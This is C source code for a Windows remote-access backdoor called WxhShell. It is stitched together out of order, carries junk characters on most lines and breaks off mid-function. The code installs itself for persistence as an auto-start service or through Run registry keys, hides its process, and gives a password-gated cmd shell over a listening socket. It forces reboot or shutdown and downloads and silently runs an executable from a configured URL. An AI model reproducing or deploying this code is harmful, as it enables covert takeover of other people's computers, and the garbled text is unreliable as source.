  // 关机 )r#,ML  
  case 'd': { hpas'H>J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J@gm@ jLc  
    if(Boot(SHUTDOWN)) K4Y'B o4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $E@ouX?  
    else { 0<3E  
    closesocket(wsh); AHWh}~Yi  
    ExitThread(0); X98#QR#m  
    } lJlhl7  
    break; $':JI#  
    } 6"%@ L{UQ  
  // 获取shell Z,SY N?@  
  case 's': { (H2ylMpQt  
    CmdShell(wsh); GI?PGAT  
    closesocket(wsh); Eo Ko   
    ExitThread(0); LS{bg.e  
    break; yIWc\wv  
  } $8Ig&k|~8  
  // 退出  }Zt.*%  
  case 'x': { R)Q/Ff@o0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l[Tt[n  
    CloseIt(wsh); @wMQC\Z  
    break; @Jm.HST#S8  
    } OelU D/[$  
  // 离开 G"{4'LlA  
  case 'q': { \Vz,wy%-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !"`Jqs  
    closesocket(wsh); u?H@C)P  
    WSACleanup(); C_-%*]*,j  
    exit(1); drbe#FObX  
    break; "A]?M<R  
        } o:H'r7N  
  } B_!wutV@  
  } ]I8]mUiUH  
NtqFnxm/  
  // 提示信息 &jt02+Hj'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x ~wNO/  
} }\>+H  
  } H<$pHyxU  
x\6] ;SXX  
  return; o>.AdZby  
} 2G ZF/9}  
K[e`t%2_  
// shell模块句柄 xUIvLH=  
int CmdShell(SOCKET sock) gt~9"I  
{ LNaeB(z"  
STARTUPINFO si; C0gfJ~M )  
ZeroMemory(&si,sizeof(si)); ^u3*hl}YKy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'frWu6]< 4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q?(A!1(u  
PROCESS_INFORMATION ProcessInfo; }M^_Z#|,  
char cmdline[]="cmd"; xUQdVrFU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '^e0Ud,  
  return 0; hI*`>9l  
} |y klT  
'y< t/qo  
// 自身启动模式 bB y'v/  
int StartFromService(void) Ywmyr[Uh'  
{ JaA&eT|  
typedef struct `(P "u  
{ W8< @sq~I  
  DWORD ExitStatus; .#"1bRWpZ  
  DWORD PebBaseAddress; w<Zdq}{jO  
  DWORD AffinityMask; !X%S)VSMU  
  DWORD BasePriority; ZTr:xX{R6  
  ULONG UniqueProcessId; Wa(W&]  
  ULONG InheritedFromUniqueProcessId; c$.UE  
}   PROCESS_BASIC_INFORMATION; FMoJ"6Q  
Ih(:HFRMq6  
PROCNTQSIP NtQueryInformationProcess;  c^rC8E  
={\![{L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DE5d]3B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oN_S}o  
#,t2*tM  
  HANDLE             hProcess; P`7ojXy  
  PROCESS_BASIC_INFORMATION pbi; uijq@yo8-  
/g13X,.H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n'q aR<bY  
  if(NULL == hInst ) return 0; $I\))*a  
d:A\<F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +d.u##$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _MGNKA6JI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;9}w|!/  
 o1 jk=  
  if (!NtQueryInformationProcess) return 0; ,<7"K&  
<_=JMA5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G}182"#4  
  if(!hProcess) return 0; C\y[&egww  
2=jd;2~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kZJt ~}  
"w>rlsT<O  
  CloseHandle(hProcess); tX@ 0:RX%  
]^Sd9ba  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); th5 X?so  
if(hProcess==NULL) return 0; C_6GOpl  
cR,'o'V/  
HMODULE hMod; 65'`uuPx  
char procName[255]; Qk?jGXB>^  
unsigned long cbNeeded; I).=v{@9V<  
&,^mM' C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u wH)$Pl  
>Kz_My9  
  CloseHandle(hProcess); -FQC9~rR;g  
s4x'f$r  
if(strstr(procName,"services")) return 1; // 以服务启动 p^T&jE8])#  
eLCdAr  
  return 0; // 注册表启动 <sm#D"GpP  
} &B?@@ 6  
<l* agH-.3  
// 主模块 rdXCWK$E  
int StartWxhshell(LPSTR lpCmdLine) n;e."^5  
{ ;7;zhJs1t  
  SOCKET wsl; n/ui<&(  
BOOL val=TRUE; {CW1t5$*  
  int port=0; 0eQ~#~j&  
  struct sockaddr_in door; 3"^a rK^N  
M' &J _g  
  if(wscfg.ws_autoins) Install(); ~sZqa+jB0  
`6 |i&w:b  
port=atoi(lpCmdLine); |E46vup  
elN{7:  
if(port<=0) port=wscfg.ws_port; 9 yh9HE  
N7d17c. 5  
  WSADATA data; (J6" ;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "9c.CI  
D2Vb{%(4.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Ask' !  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |z.Gh1GCy  
  door.sin_family = AF_INET; $ \? N<W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x, G6\QmA  
  door.sin_port = htons(port); i}.{m Et  
qzuQq94k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pWWL{@J  
closesocket(wsl); %4?SY82  
return 1; ZC3tbhV  
} <m?GJuQ'  
*LY~l  
  if(listen(wsl,2) == INVALID_SOCKET) { L!CX &  
closesocket(wsl); hB|H9+  
return 1; (%``EIc<8  
}  !7 ei1  
  Wxhshell(wsl); ( rA\_FOJ  
  WSACleanup(); Mfnlue](  
OpWeW  
return 0; J xA^DH  
#pS]k<o%1  
} cp E25  
CBiU#h q  
// 以NT服务方式启动 0_YxZS\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BP)q6?Mz  
{ 9oZ } h&  
DWORD   status = 0; BSx j~pun  
  DWORD   specificError = 0xfffffff; AyQS4A.s[  
w8eG;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w$w>N(e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ovhC4 2i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z7tU0  
  serviceStatus.dwWin32ExitCode     = 0; .`oJcJ  
  serviceStatus.dwServiceSpecificExitCode = 0; b &\3ps  
  serviceStatus.dwCheckPoint       = 0; jF%)Bhn(  
  serviceStatus.dwWaitHint       = 0; r Iya\z1W  
/e-ka{WS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zjluX\  
  if (hServiceStatusHandle==0) return; D6&mf2'u  
pFpQ\xc9$  
status = GetLastError(); kx"hWG4  
  if (status!=NO_ERROR) " #mXsp-ut  
{ *u|lmALs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >P6^k!R1y  
    serviceStatus.dwCheckPoint       = 0; /'8*aUa  
    serviceStatus.dwWaitHint       = 0; Sqp;/&Ji  
    serviceStatus.dwWin32ExitCode     = status; )GiFkG  
    serviceStatus.dwServiceSpecificExitCode = specificError; p)?qJ2c|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K7 t&fDI  
    return; mF6@Y[/B  
  } *G%1_   
!ol hZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e5*5.AB6&  
  serviceStatus.dwCheckPoint       = 0; 9f\aoVX  
  serviceStatus.dwWaitHint       = 0; bE7(L $UF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )LXoey!aZ  
} v`[Tl  
%v?jG(o  
// 处理NT服务事件,比如:启动、停止 sDaT[).Hm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nz(c"3T;  
{ VxUvvJ{-v  
switch(fdwControl) uR06&SaA>  
{ )@8'k]Glw.  
case SERVICE_CONTROL_STOP: }<( "0jC  
  serviceStatus.dwWin32ExitCode = 0; q7 %=`l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b>hBct}  
  serviceStatus.dwCheckPoint   = 0; iQ]T+}nn_  
  serviceStatus.dwWaitHint     = 0; <Um1h:^   
  { fP^W"y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,wwU` U  
  } f7EIDFX>pt  
  return; ]Ks]B2Osz  
case SERVICE_CONTROL_PAUSE: rd&*j^?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kcq9p2zKv  
  break; ?/`C~e<J  
case SERVICE_CONTROL_CONTINUE: *6 z'+'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8k+q7  
  break; rE1np^z7  
case SERVICE_CONTROL_INTERROGATE: EuKrYY]g  
  break; 'Yaf\Hp  
}; zer&`Vr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JEK%yMj  
} \j2 : 6]Hm  
n}AR/3}  
// 标准应用程序主函数 x[GFX8h(k6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @!L@UP0  
{ dK0}% ]i3#  
b:}wR*Adc  
// 获取操作系统版本 yBYuDfeZ  
OsIsNt=GetOsVer(); "xvV'&lQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X <ba|(  
N[+o[%A  
  // 从命令行安装 C;58z 5*,  
  if(strpbrk(lpCmdLine,"iI")) Install(); bBeFL~  
C1#o<pv  
  // 下载执行文件 }2iKi(io*  
if(wscfg.ws_downexe) { 75hFyh;u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OUBgBr   
  WinExec(wscfg.ws_filenam,SW_HIDE); wRV`v$*6  
} O)$N}V0  
d!}jdt5%  
if(!OsIsNt) { ;9!yh\\   
// 如果时win9x,隐藏进程并且设置为注册表启动 =B/s H N  
HideProc(); JhMrm%  
StartWxhshell(lpCmdLine); ;H m-,W  
} ^V XXq  
else y:i[~y  
  if(StartFromService()) 6?<`wGs(  
  // 以服务方式启动 A3 Rm 0  
  StartServiceCtrlDispatcher(DispatchTable); (zM+7tJH  
else \0*yxSg,^  
  // 普通方式启动 4Rrw8Bw  
  StartWxhshell(lpCmdLine); i)`zKbK  
ZaNyNxbp>z  
return 0; 6gg#Z  
} 8,H#t@+MT  
U"%8"G0)  
',J%Mv>Yf  
L!+[]tB  
=========================================== P60]ps!M  
WrK^>  
gk_Xu  
<4!&iU+;  
soQv?4  
o{-USUGj7  
" <-oRhi4  
.U(SkZ`6  
#include <stdio.h> 9%)& }KK|  
#include <string.h> D)/XP  
#include <windows.h> EbwZZSds1  
#include <winsock2.h> {7pE9R5  
#include <winsvc.h> 0R%uVJG  
#include <urlmon.h> RQK**  
1 Z$99  
#pragma comment (lib, "Ws2_32.lib") z7l;|T  
#pragma comment (lib, "urlmon.lib") h}B# 'e  
;uA_gn!  
#define MAX_USER   100 // 最大客户端连接数 KbuGf$Bv  
#define BUF_SOCK   200 // sock buffer d8BK/b  
#define KEY_BUFF   255 // 输入 buffer xz+`]Q  
$qyM X[  
#define REBOOT     0   // 重启 KxTYc  
#define SHUTDOWN   1   // 关机 8Jy1=R*S  
.pu`\BW>  
#define DEF_PORT   5000 // 监听端口 '`goy%Wd  
@Qsg.9N3K  
#define REG_LEN     16   // 注册表键长度 Y ,pS/  
#define SVC_LEN     80   // NT服务名长度 e[ k;SSs  
5_tK3Q8?  
// 从dll定义API ;Q,).@<C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !\k#{ 1[!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]#7Y @Yo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); buM>^A"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [@FeRIu8  
 v=Bh A9[  
// wxhshell配置信息 yI|?iBc7nC  
struct WSCFG { 6pz:Lfd80  
  int ws_port;         // 监听端口 PM?Ri^55<L  
  char ws_passstr[REG_LEN]; // 口令 tIy/QN_42  
  int ws_autoins;       // 安装标记, 1=yes 0=no o  >4>7  
  char ws_regname[REG_LEN]; // 注册表键名 jvKaxB;e  
  char ws_svcname[REG_LEN]; // 服务名 ,c %gwzU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ib=^ tK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {8p?we3l1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PH4bM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qs[EA_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" om39;nk!}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N*oJ$:#  
p YvF}8  
}; waq_d.  
iU+,Jeu  
// default Wxhshell configuration K[;,/:Y  
struct WSCFG wscfg={DEF_PORT, G.E~&{5xQ  
    "xuhuanlingzhe", A)a+LW'=u  
    1, 3)MM5 b b$  
    "Wxhshell", " 7g8 d  
    "Wxhshell", V'hz1roe  
            "WxhShell Service", !<^j!'2  
    "Wrsky Windows CmdShell Service", m3!MHe~t  
    "Please Input Your Password: ", TV>R(D3T/  
  1, 8;BwzRtgT  
  "http://www.wrsky.com/wxhshell.exe", `TR9GWU+B  
  "Wxhshell.exe" "uER a(i  
    }; w]YyU5rhS  
"&o@%){]  
// 消息定义模块 0YRYCO$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LK}eU,m=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /%'7sx[p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y~ ?YA/.x  
char *msg_ws_ext="\n\rExit."; |B WK"G  
char *msg_ws_end="\n\rQuit."; H9m2Whq  
char *msg_ws_boot="\n\rReboot..."; ?-v?SN#  
char *msg_ws_poff="\n\rShutdown..."; I:)#U[tn0  
char *msg_ws_down="\n\rSave to ";  1`JN  
soK_l|z:J  
char *msg_ws_err="\n\rErr!"; \D k^\-  
char *msg_ws_ok="\n\rOK!"; =y/ Lbe}:  
hpe s  
char ExeFile[MAX_PATH]; O.f3 (e!  
int nUser = 0; X?xm1|\  
HANDLE handles[MAX_USER]; c@{^3V##T  
int OsIsNt; aZ3 #g  
1ucUnNkcV  
SERVICE_STATUS       serviceStatus; U1tPw`0h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f5XcBW9E  
WSccR  
// 函数声明 1,D ^,  
int Install(void); aL6 5t\2  
int Uninstall(void); @9 tv N}  
int DownloadFile(char *sURL, SOCKET wsh); I{UB!0H  
int Boot(int flag); 7ib<Cb>K  
void HideProc(void); #yOY&W:N  
int GetOsVer(void); \Le #+ P  
int Wxhshell(SOCKET wsl); zq>"a&Y,  
void TalkWithClient(void *cs); (MU7  
int CmdShell(SOCKET sock); F?Nk:# V  
int StartFromService(void); =umS^fJ5`  
int StartWxhshell(LPSTR lpCmdLine); 2*E<G|-F  
Z+Zh;Ms  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %cjav  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l_IX+4(@b|  
D\~$6#B>>  
// 数据结构和表定义 o6%f%:&  
SERVICE_TABLE_ENTRY DispatchTable[] = ZlXs7 &_  
{ {%}6 d~Bg  
{wscfg.ws_svcname, NTServiceMain}, ~OfKn1D  
{NULL, NULL} G2k71{jK  
}; 8j +;Xlh  
0n^j 50Yq  
// 自我安装 J=bOw//  
int Install(void) WuXRL}!\,  
{ mw.aavB  
  char svExeFile[MAX_PATH]; @D{[Hj`<  
  HKEY key; !-Q!/?  
  strcpy(svExeFile,ExeFile); {D.0_=y~2  
45JLx?rN_  
// 如果是win9x系统,修改注册表设为自启动 +@v} (  
if(!OsIsNt) { 2xm?,p`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d u )G)~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?%n9g)>Yej  
  RegCloseKey(key); v)pWx0l=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #>NZN1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1S@k=EKM  
  RegCloseKey(key); (G'ddZAJV  
  return 0; ,urkd~  
    } :Dm@3S$4<  
  } 8)ol6Mi{  
} CBHWMetJ*  
else { @isqFKjph  
ew~FN  
// 如果是NT以上系统,安装为系统服务 c(JO;=,@9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SX8%F:<.  
if (schSCManager!=0) 0']M,iC/  
{ ^<b.j.$<z  
  SC_HANDLE schService = CreateService 0+h?Bk  
  ( %uMsXa  
  schSCManager, y[eNM6p  
  wscfg.ws_svcname, Y^f|}YO%y  
  wscfg.ws_svcdisp, K|!)<6ZsG7  
  SERVICE_ALL_ACCESS, P1jkoJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c3mlO [(  
  SERVICE_AUTO_START, {$.{VE+v5  
  SERVICE_ERROR_NORMAL, sNTfRPC  
  svExeFile, Lj\<qF~n  
  NULL, +fmZ&9hFNJ  
  NULL, '1*MiFxKq  
  NULL, Dne&YVF9V  
  NULL, rbWFq|(_  
  NULL !qq@F%tv  
  ); 1Pc'wfj  
  if (schService!=0) 7%WI   
  { O;tn5  
  CloseServiceHandle(schService); Vt>E\{@[t  
  CloseServiceHandle(schSCManager); (ZJ_&8C#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m 9Q{ )?J7  
  strcat(svExeFile,wscfg.ws_svcname); Ha\hQ'99  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O^ hV<+CX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N~YeAe~+  
  RegCloseKey(key); i[ lH@fJm_  
  return 0; BC+qeocg  
    } C<ljBz`,t  
  } =cY]cPO  
  CloseServiceHandle(schSCManager); d{jl&:  
} Po[zzj>m  
} 2Ev,dWV  
1owoh,V6  
return 1; }qg&2M%\  
} )LUl?  
zyE yZc?  
// 自我卸载 ;!b(b%  
int Uninstall(void) T9 1Iz+j  
{ ~<3yTl>  
  HKEY key; CJ>=odK[  
rL/+`H  
if(!OsIsNt) { P7!Sc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t!$/r]XM h  
  RegDeleteValue(key,wscfg.ws_regname); 2J5dZYW  
  RegCloseKey(key); :4dili4|/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6W o7q\"  
  RegDeleteValue(key,wscfg.ws_regname); . j },  
  RegCloseKey(key);  Qy%/+9L  
  return 0; V^D#i(5  
  } sQ$FtKm6  
} g$qh(Z_s  
} K`sm  
else { )/Vr 5b@  
b~p <   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1vr/|RWW  
if (schSCManager!=0) 0J" 3RTt  
{ <f%9w]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r_",E=e  
  if (schService!=0) JqO( ]*"Hi  
  { f$/D?q3N  
  if(DeleteService(schService)!=0) { >X]<s^  
  CloseServiceHandle(schService); w@4+&v>O  
  CloseServiceHandle(schSCManager); 0qv)'[O  
  return 0; _gHJ4(?w  
  } aVlHY E  
  CloseServiceHandle(schService); [ kknY+n1  
  } (.cT<(TB  
  CloseServiceHandle(schSCManager); b({2|R  
} f55Ev<oOa  
} )xeVoAg  
xFJ>s-g*  
return 1; ETIf x)B-  
} p ,!`8c6  
`i}\k  
// 从指定url下载文件 6\`,blkX  
int DownloadFile(char *sURL, SOCKET wsh) ;4 &~i  
{ >&TktQO_T  
  HRESULT hr; _VJb i,V  
char seps[]= "/"; z<ek?0?yS  
char *token; 5]{YERa'  
char *file; 3+Q6<MS q  
char myURL[MAX_PATH]; E-/]UH3u H  
char myFILE[MAX_PATH]; o8" [6Ys  
`yhL11 ]~  
strcpy(myURL,sURL); #X)s=Y&5!T  
  token=strtok(myURL,seps); %w@(V([(c  
  while(token!=NULL) 1osI~oNZ  
  { 6l=n&YO  
    file=token; ,Ya&M@^Z  
  token=strtok(NULL,seps); b`2~  
  } 6O"0?wG+  
b~|B(lL6Xm  
GetCurrentDirectory(MAX_PATH,myFILE); S SzOz-&GA  
strcat(myFILE, "\\"); Qcw/>LaL:  
strcat(myFILE, file); ev; &$Hc  
  send(wsh,myFILE,strlen(myFILE),0); {>i'Pb0mG|  
send(wsh,"...",3,0); W&"FejD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N9i>81tY  
  if(hr==S_OK) ZK;HW  
return 0; Lpn`HAw&  
else 8z+ CYeV  
return 1; )a.U|[:y[+  
-0W;b"]+A  
} 4-TM3Cw`d&  
<"t >!I  
// 系统电源模块 {U4%aoBd8  
int Boot(int flag) "e(N h%t  
{ u^`B#b '  
  HANDLE hToken; IE|$>q0Z  
  TOKEN_PRIVILEGES tkp; ak'RV*>mT  
X<1# )xC  
  if(OsIsNt) { \Wo,^qR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T# 8O:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <@?bYp  
    tkp.PrivilegeCount = 1; AttDD{Ta  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (j'[t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [1E u6X6  
if(flag==REBOOT) { b&!X#3(KT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C9~CP8  
  return 0; k: c)|2  
} $FD0MrB_+  
else { |=SaI%%Be  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IQR?n}ce  
  return 0; v67o>`<$  
} f#[Fqkmj  
  } :HwB+Bjy  
  else { P[D ^*}  
if(flag==REBOOT) { -{ZRk[>Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HQ]g{JVld\  
  return 0; {| Tl3  
} x ;kW }U  
else { Xbfn@7m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z0c_&@uj*  
  return 0; 32dR`qb  
} / S]<MS  
} >d_O0a*W-  
]81P<Y(7  
return 1; JEj.D=@[  
} z`'{l {  
U"/":w ~  
// win9x进程隐藏模块 hv8V=Z'Q  
void HideProc(void) bKiV<&Z5d  
{ W* N^Gp@  
iFpJ /L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /JJU-A(  
  if ( hKernel != NULL ) rtC.!].;%  
  { H:2#/1Oz>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wU+-;C5e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1^$ vmULj  
    FreeLibrary(hKernel); <w<&,xM  
  } d'q,:="c  
D&$%JT'3  
return; n-0RA~5z  
} !bRoNP  
&E0P`F,GQA  
// 获取操作系统版本 m&cVda/  
int GetOsVer(void) =UT*1-yh R  
{ n](Q)h'nlo  
  OSVERSIONINFO winfo; ?u/RQ 1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); } U\n:@:2B  
  GetVersionEx(&winfo); iW9G0Ay  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) { LZ` _1D  
  return 1; cba ~  
  else .Xqe]cax%  
  return 0; AQ7w5}g+V  
} aOIE9wO  
\ ?sM  
// 客户端句柄模块 ,* !HN &  
int Wxhshell(SOCKET wsl) B}Qpqa=_c  
{ &>,c..Ke  
  SOCKET wsh; jv_z%`  
  struct sockaddr_in client; ~|QhWgq  
  DWORD myID; { )=h  
+`'=K ;{U  
  while(nUser<MAX_USER) u?,M`w0'  
{ Y- esD'MD  
  int nSize=sizeof(client); P+K< /i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C+tB$yahO  
  if(wsh==INVALID_SOCKET) return 1; .ww~'5b0  
Hwiw:lPq`E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3V2dN )\  
if(handles[nUser]==0) % s&l^&ux  
  closesocket(wsh); S+9}W/  
else dX^ ^ @7  
  nUser++; p(vmMWR!  
  } Pr|BhX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M5\$+Tu  
_/xA5/V  
  return 0; t`%Xxxu  
} &pCa{p  
xw2dNJL  
// 关闭 socket ' m^nKG$"  
void CloseIt(SOCKET wsh) meJ%mY  
{ lW6$v* s9  
closesocket(wsh); xNAX)v3Z  
nUser--; ?5VPV9EX  
ExitThread(0); g  Z!q  
} Tew?e&eO  
ykMdH:  
// 客户端请求句柄 3:wN^!A}ve  
void TalkWithClient(void *cs) h$`zuz  
{ k7ye,_&>  
:[\M|iAo  
  SOCKET wsh=(SOCKET)cs; + PAb+E|,  
  char pwd[SVC_LEN]; ^GL>xlZ(  
  char cmd[KEY_BUFF]; C"7-lz  
char chr[1]; (Y!{ UNq5  
int i,j; .30eO_msK  
Mj!g1Q  
  while (nUser < MAX_USER) { Gv\39+9 =  
y\?NB:=%  
if(wscfg.ws_passstr) { 0Ba*"/U]t~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O n/q&h5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `En>o~L;  
  //ZeroMemory(pwd,KEY_BUFF); i U"2uLgb  
      i=0; vCX 54  
  while(i<SVC_LEN) { o$q})!  
h[(.  
  // 设置超时 ;)Fc@OXN>  
  fd_set FdRead; SPu+t3  
  struct timeval TimeOut; >S}^0vNZX  
  FD_ZERO(&FdRead); }kZ)|/]kn  
  FD_SET(wsh,&FdRead); 2H,n"-9+  
  TimeOut.tv_sec=8; j"5 $m@lgn  
  TimeOut.tv_usec=0; JavSR1_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _=Y HO.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qxbGUyH==  
Um%$TGw5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R1?LB"aN  
  pwd=chr[0]; 1|XC$0  
  if(chr[0]==0xd || chr[0]==0xa) { :meq4!g{1  
  pwd=0; 3]rd!Gp=*  
  break; (W'3Zv'f  
  } ov|/=bzro  
  i++; d>hLnz1O  
    } 4l?"zv1  
9B9:lR  
  // 如果是非法用户,关闭 socket N VBWF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T:0#se  
} `VXC*A   
ay>u``$R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8m*uT< 5D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q~6((pWi|  
eUEO~M2&U{  
while(1) { JXAH/N& i  
b |JM4jgK  
  ZeroMemory(cmd,KEY_BUFF); ;t5e]  
hZ~ \Z S7  
      // 自动支持客户端 telnet标准   "zx4k8  
  j=0; "PfNC<MQo  
  while(j<KEY_BUFF) { 9#)&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~T:L0||.%9  
  cmd[j]=chr[0]; w ;]~2$  
  if(chr[0]==0xa || chr[0]==0xd) { 't#E-+o  
  cmd[j]=0; !_pryNcb  
  break; eG08Xt |lc  
  } 50HRgoP5Y  
  j++; 57rH`UFXH  
    } n+H);Dg<8  
g/BlTi  
  // 下载文件  o\-:  
  if(strstr(cmd,"http://")) { wJ>2}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,_!MI+o0  
  if(DownloadFile(cmd,wsh)) by@}T@^\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0k 6S`e9gI  
  else I1fUV72  
